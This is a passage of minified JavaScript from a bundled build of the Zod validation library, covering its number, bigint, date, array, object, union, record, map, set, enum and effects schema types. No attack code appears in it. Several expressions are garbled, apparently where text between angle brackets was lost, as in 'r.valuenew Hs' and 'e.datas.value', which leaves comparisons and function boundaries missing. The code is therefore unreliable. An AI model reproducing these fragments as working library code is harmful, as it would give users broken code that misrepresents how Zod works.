isIP(){return!!this._def.checks.find(e=>e.kind==="ip")}get isCIDR(){return!!this._def.checks.find(e=>e.kind==="cidr")}get isBase64(){return!!this._def.checks.find(e=>e.kind==="base64")}get isBase64url(){return!!this._def.checks.find(e=>e.kind==="base64url")}get minLength(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxLength(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuenew Hs({checks:[],typeName:Ce.ZodString,coerce:t?.coerce??!1,...Me(t)});function jF(t,e){let r=(t.toString().split(".")[1]||"").length,n=(e.toString().split(".")[1]||"").length,a=r>n?r:n,s=Number.parseInt(t.toFixed(a).replace(".","")),i=Number.parseInt(e.toFixed(a).replace(".",""));return s%i/10**a}var yo=class t extends ze{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse(e){if(this._def.coerce&&(e.data=Number(e.data)),this._getType(e)!==_e.number){let s=this._getOrReturnCtx(e);return ve(s,{code:ue.invalid_type,expected:_e.number,received:s.parsedType}),Oe}let n,a=new Kt;for(let s of this._def.checks)s.kind==="int"?We.isInteger(e.data)||(n=this._getOrReturnCtx(e,n),ve(n,{code:ue.invalid_type,expected:"integer",received:"float",message:s.message}),a.dirty()):s.kind==="min"?(s.inclusive?e.datas.value:e.data>=s.value)&&(n=this._getOrReturnCtx(e,n),ve(n,{code:ue.too_big,maximum:s.value,type:"number",inclusive:s.inclusive,exact:!1,message:s.message}),a.dirty()):s.kind==="multipleOf"?jF(e.data,s.value)!==0&&(n=this._getOrReturnCtx(e,n),ve(n,{code:ue.not_multiple_of,multipleOf:s.value,message:s.message}),a.dirty()):s.kind==="finite"?Number.isFinite(e.data)||(n=this._getOrReturnCtx(e,n),ve(n,{code:ue.not_finite,message:s.message}),a.dirty()):We.assertNever(s);return{status:a.value,value:e.data}}gte(e,r){return this.setLimit("min",e,!0,xe.toString(r))}gt(e,r){return this.setLimit("min",e,!1,xe.toString(r))}lte(e,r){return this.setLimit("max",e,!0,xe.toString(r))}lt(e,r){return this.setLimit("max",e,!1,xe.toString(r))}setLimit(e,r,n,a){return new t({...this._def,checks:[...this._def.checks,{kind:e,value:r,inclusive:n,message:xe.toString(a)}]})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}int(e){return this._addCheck({kind:"int",message:xe.toString(e)})}positive(e){return this._addCheck({kind:"min",value:0,inclusive:!1,message:xe.toString(e)})}negative(e){return this._addCheck({kind:"max",value:0,inclusive:!1,message:xe.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:0,inclusive:!0,message:xe.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:0,inclusive:!0,message:xe.toString(e)})}multipleOf(e,r){return this._addCheck({kind:"multipleOf",value:e,message:xe.toString(r)})}finite(e){return this._addCheck({kind:"finite",message:xe.toString(e)})}safe(e){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:xe.toString(e)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:xe.toString(e)})}get minValue(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxValue(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuee.kind==="int"||e.kind==="multipleOf"&&We.isInteger(e.value))}get isFinite(){let e=null,r=null;for(let n of this._def.checks){if(n.kind==="finite"||n.kind==="int"||n.kind==="multipleOf")return!0;n.kind==="min"?(r===null||n.value>r)&&(r=n.value):n.kind==="max"&&(e===null||n.valuenew yo({checks:[],typeName:Ce.ZodNumber,coerce:t?.coerce||!1,...Me(t)});var _o=class t extends ze{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte}_parse(e){if(this._def.coerce)try{e.data=BigInt(e.data)}catch{return this._getInvalidInput(e)}if(this._getType(e)!==_e.bigint)return this._getInvalidInput(e);let n,a=new Kt;for(let s of this._def.checks)s.kind==="min"?(s.inclusive?e.datas.value:e.data>=s.value)&&(n=this._getOrReturnCtx(e,n),ve(n,{code:ue.too_big,type:"bigint",maximum:s.value,inclusive:s.inclusive,message:s.message}),a.dirty()):s.kind==="multipleOf"?e.data%s.value!==BigInt(0)&&(n=this._getOrReturnCtx(e,n),ve(n,{code:ue.not_multiple_of,multipleOf:s.value,message:s.message}),a.dirty()):We.assertNever(s);return{status:a.value,value:e.data}}_getInvalidInput(e){let r=this._getOrReturnCtx(e);return ve(r,{code:ue.invalid_type,expected:_e.bigint,received:r.parsedType}),Oe}gte(e,r){return this.setLimit("min",e,!0,xe.toString(r))}gt(e,r){return this.setLimit("min",e,!1,xe.toString(r))}lte(e,r){return this.setLimit("max",e,!0,xe.toString(r))}lt(e,r){return this.setLimit("max",e,!1,xe.toString(r))}setLimit(e,r,n,a){return new t({...this._def,checks:[...this._def.checks,{kind:e,value:r,inclusive:n,message:xe.toString(a)}]})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}positive(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:xe.toString(e)})}negative(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!1,message:xe.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!0,message:xe.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!0,message:xe.toString(e)})}multipleOf(e,r){return this._addCheck({kind:"multipleOf",value:e,message:xe.toString(r)})}get minValue(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxValue(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuenew _o({checks:[],typeName:Ce.ZodBigInt,coerce:t?.coerce??!1,...Me(t)});var bo=class extends ze{_parse(e){if(this._def.coerce&&(e.data=!!e.data),this._getType(e)!==_e.boolean){let n=this._getOrReturnCtx(e);return ve(n,{code:ue.invalid_type,expected:_e.boolean,received:n.parsedType}),Oe}return sr(e.data)}};bo.create=t=>new bo({typeName:Ce.ZodBoolean,coerce:t?.coerce||!1,...Me(t)});var xo=class t extends ze{_parse(e){if(this._def.coerce&&(e.data=new Date(e.data)),this._getType(e)!==_e.date){let s=this._getOrReturnCtx(e);return ve(s,{code:ue.invalid_type,expected:_e.date,received:s.parsedType}),Oe}if(Number.isNaN(e.data.getTime())){let s=this._getOrReturnCtx(e);return ve(s,{code:ue.invalid_date}),Oe}let n=new Kt,a;for(let s of this._def.checks)s.kind==="min"?e.data.getTime()s.value&&(a=this._getOrReturnCtx(e,a),ve(a,{code:ue.too_big,message:s.message,inclusive:!0,exact:!1,maximum:s.value,type:"date"}),n.dirty()):We.assertNever(s);return{status:n.value,value:new Date(e.data.getTime())}}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}min(e,r){return this._addCheck({kind:"min",value:e.getTime(),message:xe.toString(r)})}max(e,r){return this._addCheck({kind:"max",value:e.getTime(),message:xe.toString(r)})}get minDate(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e!=null?new Date(e):null}get maxDate(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuenew xo({checks:[],coerce:t?.coerce||!1,typeName:Ce.ZodDate,...Me(t)});var wo=class extends ze{_parse(e){if(this._getType(e)!==_e.symbol){let n=this._getOrReturnCtx(e);return ve(n,{code:ue.invalid_type,expected:_e.symbol,received:n.parsedType}),Oe}return sr(e.data)}};wo.create=t=>new wo({typeName:Ce.ZodSymbol,...Me(t)});var Bs=class extends ze{_parse(e){if(this._getType(e)!==_e.undefined){let n=this._getOrReturnCtx(e);return ve(n,{code:ue.invalid_type,expected:_e.undefined,received:n.parsedType}),Oe}return sr(e.data)}};Bs.create=t=>new Bs({typeName:Ce.ZodUndefined,...Me(t)});var Vs=class extends ze{_parse(e){if(this._getType(e)!==_e.null){let n=this._getOrReturnCtx(e);return ve(n,{code:ue.invalid_type,expected:_e.null,received:n.parsedType}),Oe}return sr(e.data)}};Vs.create=t=>new Vs({typeName:Ce.ZodNull,...Me(t)});var So=class extends ze{constructor(){super(...arguments),this._any=!0}_parse(e){return sr(e.data)}};So.create=t=>new So({typeName:Ce.ZodAny,...Me(t)});var Ha=class extends ze{constructor(){super(...arguments),this._unknown=!0}_parse(e){return sr(e.data)}};Ha.create=t=>new Ha({typeName:Ce.ZodUnknown,...Me(t)});var na=class extends ze{_parse(e){let r=this._getOrReturnCtx(e);return ve(r,{code:ue.invalid_type,expected:_e.never,received:r.parsedType}),Oe}};na.create=t=>new na({typeName:Ce.ZodNever,...Me(t)});var Eo=class extends ze{_parse(e){if(this._getType(e)!==_e.undefined){let n=this._getOrReturnCtx(e);return ve(n,{code:ue.invalid_type,expected:_e.void,received:n.parsedType}),Oe}return sr(e.data)}};Eo.create=t=>new Eo({typeName:Ce.ZodVoid,...Me(t)});var Ba=class t extends ze{_parse(e){let{ctx:r,status:n}=this._processInputParams(e),a=this._def;if(r.parsedType!==_e.array)return ve(r,{code:ue.invalid_type,expected:_e.array,received:r.parsedType}),Oe;if(a.exactLength!==null){let i=r.data.length>a.exactLength.value,o=r.data.lengtha.maxLength.value&&(ve(r,{code:ue.too_big,maximum:a.maxLength.value,type:"array",inclusive:!0,exact:!1,message:a.maxLength.message}),n.dirty()),r.common.async)return Promise.all([...r.data].map((i,o)=>a.type._parseAsync(new Rr(r,i,r.path,o)))).then(i=>Kt.mergeArray(n,i));let s=[...r.data].map((i,o)=>a.type._parseSync(new Rr(r,i,r.path,o)));return Kt.mergeArray(n,s)}get element(){return this._def.type}min(e,r){return new t({...this._def,minLength:{value:e,message:xe.toString(r)}})}max(e,r){return new t({...this._def,maxLength:{value:e,message:xe.toString(r)}})}length(e,r){return new t({...this._def,exactLength:{value:e,message:xe.toString(r)}})}nonempty(e){return this.min(1,e)}};Ba.create=(t,e)=>new Ba({type:t,minLength:null,maxLength:null,exactLength:null,typeName:Ce.ZodArray,...Me(e)});function Ls(t){if(t instanceof pr){let e={};for(let r in t.shape){let n=t.shape[r];e[r]=qr.create(Ls(n))}return new pr({...t._def,shape:()=>e})}else return t instanceof Ba?new Ba({...t._def,type:Ls(t.element)}):t instanceof qr?qr.create(Ls(t.unwrap())):t instanceof ya?ya.create(Ls(t.unwrap())):t instanceof ga?ga.create(t.items.map(e=>Ls(e))):t}var pr=class t extends ze{constructor(){super(...arguments),this._cached=null,this.nonstrict=this.passthrough,this.augment=this.extend}_getCached(){if(this._cached!==null)return this._cached;let e=this._def.shape(),r=We.objectKeys(e);return this._cached={shape:e,keys:r},this._cached}_parse(e){if(this._getType(e)!==_e.object){let u=this._getOrReturnCtx(e);return ve(u,{code:ue.invalid_type,expected:_e.object,received:u.parsedType}),Oe}let{status:n,ctx:a}=this._processInputParams(e),{shape:s,keys:i}=this._getCached(),o=[];if(!(this._def.catchall instanceof na&&this._def.unknownKeys==="strip"))for(let u in a.data)i.includes(u)||o.push(u);let c=[];for(let u of i){let l=s[u],d=a.data[u];c.push({key:{status:"valid",value:u},value:l._parse(new Rr(a,d,a.path,u)),alwaysSet:u in a.data})}if(this._def.catchall instanceof na){let u=this._def.unknownKeys;if(u==="passthrough")for(let l of o)c.push({key:{status:"valid",value:l},value:{status:"valid",value:a.data[l]}});else if(u==="strict")o.length>0&&(ve(a,{code:ue.unrecognized_keys,keys:o}),n.dirty());else if(u!=="strip")throw new Error("Internal ZodObject error: invalid unknownKeys value.")}else{let u=this._def.catchall;for(let l of o){let d=a.data[l];c.push({key:{status:"valid",value:l},value:u._parse(new Rr(a,d,a.path,l)),alwaysSet:l in a.data})}}return a.common.async?Promise.resolve().then(async()=>{let u=[];for(let l of c){let d=await l.key,f=await l.value;u.push({key:d,value:f,alwaysSet:l.alwaysSet})}return u}).then(u=>Kt.mergeObjectSync(n,u)):Kt.mergeObjectSync(n,c)}get shape(){return this._def.shape()}strict(e){return xe.errToObj,new t({...this._def,unknownKeys:"strict",...e!==void 0?{errorMap:(r,n)=>{let a=this._def.errorMap?.(r,n).message??n.defaultError;return r.code==="unrecognized_keys"?{message:xe.errToObj(e).message??a}:{message:a}}}:{}})}strip(){return new t({...this._def,unknownKeys:"strip"})}passthrough(){return new t({...this._def,unknownKeys:"passthrough"})}extend(e){return new t({...this._def,shape:()=>({...this._def.shape(),...e})})}merge(e){return new t({unknownKeys:e._def.unknownKeys,catchall:e._def.catchall,shape:()=>({...this._def.shape(),...e._def.shape()}),typeName:Ce.ZodObject})}setKey(e,r){return this.augment({[e]:r})}catchall(e){return new t({...this._def,catchall:e})}pick(e){let r={};for(let n of We.objectKeys(e))e[n]&&this.shape[n]&&(r[n]=this.shape[n]);return new t({...this._def,shape:()=>r})}omit(e){let r={};for(let n of We.objectKeys(this.shape))e[n]||(r[n]=this.shape[n]);return new t({...this._def,shape:()=>r})}deepPartial(){return Ls(this)}partial(e){let r={};for(let n of We.objectKeys(this.shape)){let a=this.shape[n];e&&!e[n]?r[n]=a:r[n]=a.optional()}return new t({...this._def,shape:()=>r})}required(e){let r={};for(let n of We.objectKeys(this.shape))if(e&&!e[n])r[n]=this.shape[n];else{let s=this.shape[n];for(;s instanceof qr;)s=s._def.innerType;r[n]=s}return new t({...this._def,shape:()=>r})}keyof(){return kT(We.objectKeys(this.shape))}};pr.create=(t,e)=>new pr({shape:()=>t,unknownKeys:"strip",catchall:na.create(),typeName:Ce.ZodObject,...Me(e)});pr.strictCreate=(t,e)=>new pr({shape:()=>t,unknownKeys:"strict",catchall:na.create(),typeName:Ce.ZodObject,...Me(e)});pr.lazycreate=(t,e)=>new pr({shape:t,unknownKeys:"strip",catchall:na.create(),typeName:Ce.ZodObject,...Me(e)});var Zs=class extends ze{_parse(e){let{ctx:r}=this._processInputParams(e),n=this._def.options;function a(s){for(let o of s)if(o.result.status==="valid")return o.result;for(let o of s)if(o.result.status==="dirty")return r.common.issues.push(...o.ctx.common.issues),o.result;let i=s.map(o=>new $r(o.ctx.common.issues));return ve(r,{code:ue.invalid_union,unionErrors:i}),Oe}if(r.common.async)return Promise.all(n.map(async s=>{let i={...r,common:{...r.common,issues:[]},parent:null};return{result:await s._parseAsync({data:r.data,path:r.path,parent:i}),ctx:i}})).then(a);{let s,i=[];for(let c of n){let u={...r,common:{...r.common,issues:[]},parent:null},l=c._parseSync({data:r.data,path:r.path,parent:u});if(l.status==="valid")return l;l.status==="dirty"&&!s&&(s={result:l,ctx:u}),u.common.issues.length&&i.push(u.common.issues)}if(s)return r.common.issues.push(...s.ctx.common.issues),s.result;let o=i.map(c=>new $r(c));return ve(r,{code:ue.invalid_union,unionErrors:o}),Oe}}get options(){return this._def.options}};Zs.create=(t,e)=>new Zs({options:t,typeName:Ce.ZodUnion,...Me(e)});var ha=t=>t instanceof Ws?ha(t.schema):t instanceof Lr?ha(t.innerType()):t instanceof Ks?[t.value]:t instanceof Xs?t.options:t instanceof Js?We.objectValues(t.enum):t instanceof Ys?ha(t._def.innerType):t instanceof Bs?[void 0]:t instanceof Vs?[null]:t instanceof qr?[void 0,...ha(t.unwrap())]:t instanceof ya?[null,...ha(t.unwrap())]:t instanceof Yu||t instanceof ei?ha(t.unwrap()):t instanceof Qs?ha(t._def.innerType):[],um=class t extends ze{_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==_e.object)return ve(r,{code:ue.invalid_type,expected:_e.object,received:r.parsedType}),Oe;let n=this.discriminator,a=r.data[n],s=this.optionsMap.get(a);return s?r.common.async?s._parseAsync({data:r.data,path:r.path,parent:r}):s._parseSync({data:r.data,path:r.path,parent:r}):(ve(r,{code:ue.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[n]}),Oe)}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create(e,r,n){let a=new Map;for(let s of r){let i=ha(s.shape[e]);if(!i.length)throw new Error(`A discriminator value for key \`${e}\` could not be extracted from all schema options`);for(let o of i){if(a.has(o))throw new Error(`Discriminator property ${String(e)} has duplicate value ${String(o)}`);a.set(o,s)}}return new t({typeName:Ce.ZodDiscriminatedUnion,discriminator:e,options:r,optionsMap:a,...Me(n)})}};function lm(t,e){let r=za(t),n=za(e);if(t===e)return{valid:!0,data:t};if(r===_e.object&&n===_e.object){let a=We.objectKeys(e),s=We.objectKeys(t).filter(o=>a.indexOf(o)!==-1),i={...t,...e};for(let o of s){let c=lm(t[o],e[o]);if(!c.valid)return{valid:!1};i[o]=c.data}return{valid:!0,data:i}}else if(r===_e.array&&n===_e.array){if(t.length!==e.length)return{valid:!1};let a=[];for(let s=0;s{if(w1(s)||w1(i))return Oe;let o=lm(s.value,i.value);return o.valid?((S1(s)||S1(i))&&r.dirty(),{status:r.value,value:o.data}):(ve(n,{code:ue.invalid_intersection_types}),Oe)};return n.common.async?Promise.all([this._def.left._parseAsync({data:n.data,path:n.path,parent:n}),this._def.right._parseAsync({data:n.data,path:n.path,parent:n})]).then(([s,i])=>a(s,i)):a(this._def.left._parseSync({data:n.data,path:n.path,parent:n}),this._def.right._parseSync({data:n.data,path:n.path,parent:n}))}};Gs.create=(t,e,r)=>new Gs({left:t,right:e,typeName:Ce.ZodIntersection,...Me(r)});var ga=class t extends ze{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==_e.array)return ve(n,{code:ue.invalid_type,expected:_e.array,received:n.parsedType}),Oe;if(n.data.lengththis._def.items.length&&(ve(n,{code:ue.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),r.dirty());let s=[...n.data].map((i,o)=>{let c=this._def.items[o]||this._def.rest;return c?c._parse(new Rr(n,i,n.path,o)):null}).filter(i=>!!i);return n.common.async?Promise.all(s).then(i=>Kt.mergeArray(r,i)):Kt.mergeArray(r,s)}get items(){return this._def.items}rest(e){return new t({...this._def,rest:e})}};ga.create=(t,e)=>{if(!Array.isArray(t))throw new Error("You must pass an array of schemas to z.tuple([ ... ])");return new ga({items:t,typeName:Ce.ZodTuple,rest:null,...Me(e)})};var dm=class t extends ze{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==_e.object)return ve(n,{code:ue.invalid_type,expected:_e.object,received:n.parsedType}),Oe;let a=[],s=this._def.keyType,i=this._def.valueType;for(let o in n.data)a.push({key:s._parse(new Rr(n,o,n.path,o)),value:i._parse(new Rr(n,n.data[o],n.path,o)),alwaysSet:o in n.data});return n.common.async?Kt.mergeObjectAsync(r,a):Kt.mergeObjectSync(r,a)}get element(){return this._def.valueType}static create(e,r,n){return r instanceof ze?new t({keyType:e,valueType:r,typeName:Ce.ZodRecord,...Me(n)}):new t({keyType:Hs.create(),valueType:e,typeName:Ce.ZodRecord,...Me(r)})}},To=class extends ze{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==_e.map)return ve(n,{code:ue.invalid_type,expected:_e.map,received:n.parsedType}),Oe;let a=this._def.keyType,s=this._def.valueType,i=[...n.data.entries()].map(([o,c],u)=>({key:a._parse(new Rr(n,o,n.path,[u,"key"])),value:s._parse(new Rr(n,c,n.path,[u,"value"]))}));if(n.common.async){let o=new Map;return Promise.resolve().then(async()=>{for(let c of i){let u=await c.key,l=await c.value;if(u.status==="aborted"||l.status==="aborted")return Oe;(u.status==="dirty"||l.status==="dirty")&&r.dirty(),o.set(u.value,l.value)}return{status:r.value,value:o}})}else{let o=new Map;for(let c of i){let u=c.key,l=c.value;if(u.status==="aborted"||l.status==="aborted")return Oe;(u.status==="dirty"||l.status==="dirty")&&r.dirty(),o.set(u.value,l.value)}return{status:r.value,value:o}}}};To.create=(t,e,r)=>new To({valueType:e,keyType:t,typeName:Ce.ZodMap,...Me(r)});var ko=class t extends ze{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==_e.set)return ve(n,{code:ue.invalid_type,expected:_e.set,received:n.parsedType}),Oe;let a=this._def;a.minSize!==null&&n.data.sizea.maxSize.value&&(ve(n,{code:ue.too_big,maximum:a.maxSize.value,type:"set",inclusive:!0,exact:!1,message:a.maxSize.message}),r.dirty());let s=this._def.valueType;function i(c){let u=new Set;for(let l of c){if(l.status==="aborted")return Oe;l.status==="dirty"&&r.dirty(),u.add(l.value)}return{status:r.value,value:u}}let o=[...n.data.values()].map((c,u)=>s._parse(new Rr(n,c,n.path,u)));return n.common.async?Promise.all(o).then(c=>i(c)):i(o)}min(e,r){return new t({...this._def,minSize:{value:e,message:xe.toString(r)}})}max(e,r){return new t({...this._def,maxSize:{value:e,message:xe.toString(r)}})}size(e,r){return this.min(e,r).max(e,r)}nonempty(e){return this.min(1,e)}};ko.create=(t,e)=>new ko({valueType:t,minSize:null,maxSize:null,typeName:Ce.ZodSet,...Me(e)});var pm=class t extends ze{constructor(){super(...arguments),this.validate=this.implement}_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==_e.function)return ve(r,{code:ue.invalid_type,expected:_e.function,received:r.parsedType}),Oe;function n(o,c){return cm({data:o,path:r.path,errorMaps:[r.common.contextualErrorMap,r.schemaErrorMap,om(),go].filter(u=>!!u),issueData:{code:ue.invalid_arguments,argumentsError:c}})}function a(o,c){return cm({data:o,path:r.path,errorMaps:[r.common.contextualErrorMap,r.schemaErrorMap,om(),go].filter(u=>!!u),issueData:{code:ue.invalid_return_type,returnTypeError:c}})}let s={errorMap:r.common.contextualErrorMap},i=r.data;if(this._def.returns instanceof Mn){let o=this;return sr(async function(...c){let u=new $r([]),l=await o._def.args.parseAsync(c,s).catch(m=>{throw u.addIssue(n(c,m)),u}),d=await Reflect.apply(i,this,l);return await o._def.returns._def.type.parseAsync(d,s).catch(m=>{throw u.addIssue(a(d,m)),u})})}else{let o=this;return sr(function(...c){let u=o._def.args.safeParse(c,s);if(!u.success)throw new $r([n(c,u.error)]);let l=Reflect.apply(i,this,u.data),d=o._def.returns.safeParse(l,s);if(!d.success)throw new $r([a(l,d.error)]);return d.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...e){return new t({...this._def,args:ga.create(e).rest(Ha.create())})}returns(e){return new t({...this._def,returns:e})}implement(e){return this.parse(e)}strictImplement(e){return this.parse(e)}static create(e,r,n){return new t({args:e||ga.create([]).rest(Ha.create()),returns:r||Ha.create(),typeName:Ce.ZodFunction,...Me(n)})}},Ws=class extends ze{get schema(){return this._def.getter()}_parse(e){let{ctx:r}=this._processInputParams(e);return this._def.getter()._parse({data:r.data,path:r.path,parent:r})}};Ws.create=(t,e)=>new Ws({getter:t,typeName:Ce.ZodLazy,...Me(e)});var Ks=class extends ze{_parse(e){if(e.data!==this._def.value){let r=this._getOrReturnCtx(e);return ve(r,{received:r.data,code:ue.invalid_literal,expected:this._def.value}),Oe}return{status:"valid",value:e.data}}get value(){return this._def.value}};Ks.create=(t,e)=>new Ks({value:t,typeName:Ce.ZodLiteral,...Me(e)});function kT(t,e){return new Xs({values:t,typeName:Ce.ZodEnum,...Me(e)})}var Xs=class t extends ze{_parse(e){if(typeof e.data!="string"){let r=this._getOrReturnCtx(e),n=this._def.values;return ve(r,{expected:We.joinValues(n),received:r.parsedType,code:ue.invalid_type}),Oe}if(this._cache||(this._cache=new Set(this._def.values)),!this._cache.has(e.data)){let r=this._getOrReturnCtx(e),n=this._def.values;return ve(r,{received:r.data,code:ue.invalid_enum_value,options:n}),Oe}return sr(e.data)}get options(){return this._def.values}get enum(){let e={};for(let r of this._def.values)e[r]=r;return e}get Values(){let e={};for(let r of this._def.values)e[r]=r;return e}get Enum(){let e={};for(let r of this._def.values)e[r]=r;return e}extract(e,r=this._def){return t.create(e,{...this._def,...r})}exclude(e,r=this._def){return t.create(this.options.filter(n=>!e.includes(n)),{...this._def,...r})}};Xs.create=kT;var Js=class extends ze{_parse(e){let r=We.getValidEnumValues(this._def.values),n=this._getOrReturnCtx(e);if(n.parsedType!==_e.string&&n.parsedType!==_e.number){let a=We.objectValues(r);return ve(n,{expected:We.joinValues(a),received:n.parsedType,code:ue.invalid_type}),Oe}if(this._cache||(this._cache=new Set(We.getValidEnumValues(this._def.values))),!this._cache.has(e.data)){let a=We.objectValues(r);return ve(n,{received:n.data,code:ue.invalid_enum_value,options:a}),Oe}return sr(e.data)}get enum(){return this._def.values}};Js.create=(t,e)=>new Js({values:t,typeName:Ce.ZodNativeEnum,...Me(e)});var Mn=class extends ze{unwrap(){return this._def.type}_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==_e.promise&&r.common.async===!1)return ve(r,{code:ue.invalid_type,expected:_e.promise,received:r.parsedType}),Oe;let n=r.parsedType===_e.promise?r.data:Promise.resolve(r.data);return sr(n.then(a=>this._def.type.parseAsync(a,{path:r.path,errorMap:r.common.contextualErrorMap})))}};Mn.create=(t,e)=>new Mn({type:t,typeName:Ce.ZodPromise,...Me(e)});var Lr=class extends ze{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===Ce.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse(e){let{status:r,ctx:n}=this._processInputParams(e),a=this._def.effect||null,s={addIssue:i=>{ve(n,i),i.fatal?r.abort():r.dirty()},get path(){return n.path}};if(s.addIssue=s.addIssue.bind(s),a.type==="preprocess"){let i=a.transform(n.data,s);if(n.common.async)return Promise.resolve(i).then(async o=>{if(r.value==="aborted")return Oe;let c=await this._def.schema._parseAsync({data:o,path:n.path,parent:n});return c.status==="aborted"?Oe:c.status==="dirty"||r.value==="dirty"?mo(c.value):c});{if(r.value==="aborted")return Oe;let o=this._def.schema._parseSync({data:i,path:n.path,parent:n});return o.status==="aborted"?Oe:o.status==="dirty"||r.value==="dirty"?mo(o.value):o}}if(a.type==="refinement"){let i=o=>{let c=a.refinement(o,s);if(n.common.async)return Promise.resolve(c);if(c instanceof Promise)throw new Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return o};if(n.common.async===!1){let o=this._def.schema._parseSync({data:n.data,path:n.path,parent:n});return o.status==="aborted"?Oe:(o.status==="dirty"&&r.dirty(),i(o.value),{status:r.value,value:o.value})}else return this._def.schema._parseAsync({data:n.data,path:n.path,parent:n}).then(o=>o.status==="aborted"?Oe:(o.status==="dirty"&&r.dirty(),i(o.value).then(()=>({status:r.value,value:o.value}))))}if(a.type==="transform")if(n.common.async===!1){let i=this._def.schema._parseSync({data:n.data,path:n.path,parent:n});if(!Us(i))return Oe;let o=a.transform(i.value,s);if(o instanceof Promise)throw new Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:r.value,value:o}}else return this._def.schema._parseAsync({data:n.data,path:n.path,parent:n}).then(i=>Us(i)?Promise.resolve(a.transform(i.value,s)).then(o=>({status:r.value,value:o})):Oe);We.assertNever(a)}};Lr.create=(t,e,r)=>new Lr({schema:t,typeName:Ce.ZodEffects,effect:e,...Me(r)});Lr.createWithPreprocess=(t,e,r)=>new Lr({schema:e,effect:{type:"preprocess",transform:t},typeName:Ce.ZodEffects,...Me(r)});var qr=class extends ze{_parse(e){return this._getType(e)===_e.undefined?sr(void 0):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};qr.create=(t,e)=>new qr({innerType:t,typeName:Ce.ZodOptional,...Me(e)});var ya=class extends ze{_parse(e){return this._getType(e)===_e.null?sr(null):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};ya.create=(t,e)=>new ya({innerType:t,typeName:Ce.ZodNullable,...Me(e)});var Ys=class extends ze{_parse(e){let{ctx:r}=this._processInputParams(e),n=r.data;return r.parsedType===_e.undefined&&(n=this._def.defaultValue()),this._def.innerType._parse({data:n,path:r.path,parent:r})}removeDefault(){return this._def.innerType}};Ys.create=(t,e)=>new Ys({innerType:t,typeName:Ce.ZodDefault,defaultValue:typeof e.default=="function"?e.default:()=>e.default,...Me(e)});var Qs=class extends ze{_parse(e){let{ctx:r}=this._processInputParams(e),n={...r,common:{...r.common,issues:[]}},a=this._def.innerType._parse({data:n.data,path:n.path,parent:{...n}});return Ju(a)?a.then(s=>({status:"valid",value:s.status==="valid"?s.value:this._def.catchValue({get error(){return new $r(n.common.issues)},input:n.data})})):{status:"valid",value:a.status==="valid"?a.value:this._def.catchValue({get error(){return new $r(n.common.issues)},input:n.data})}}removeCatch(){return this._def.innerType}};Qs.create=(t,e)=>new Qs({innerType:t,typeName:Ce.ZodCatch,catchValue:typeof e.catch=="function"?e.catch:()=>e.catch,...Me(e)});var $o=class extends ze{_parse(e){if(this._getType(e)!==_e.nan){let n=this._getOrReturnCtx(e);return ve(n,{code:ue.invalid_type,expected:_e.nan,received:n.parsedType}),Oe}return{status:"valid",value:e.data}}};$o.create=t=>new $o({typeName:Ce.ZodNaN,...Me(t)});var SX=Symbol("zod_brand"),Yu=class extends ze{_parse(e){let{ctx:r}=this._processInputParams(e),n=r.data;return this._def.type._parse({data:n,path:r.path,parent:r})}unwrap(){return this._def.type}},Qu=class t extends ze{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.common.async)return(async()=>{let s=await this._def.in._parseAsync({data:n.data,path:n.path,parent:n});return s.status==="aborted"?Oe:s.status==="dirty"?(r.dirty(),mo(s.value)):this._def.out._parseAsync({data:s.value,path:n.path,parent:n})})();{let a=this._def.in._parseSync({data:n.data,path:n.path,parent:n});return a.status==="aborted"?Oe:a.status==="dirty"?(r.dirty(),{status:"dirty",value:a.value}):this._def.out._parseSync({data:a.value,path:n.path,parent:n})}}static create(e,r){return new t({in:e,out:r,typeName:Ce.ZodPipeline})}},ei=class extends ze{_parse(e){let r=this._def.innerType._parse(e),n=a=>(Us(a)&&(a.value=Object.freeze(a.value)),a);return 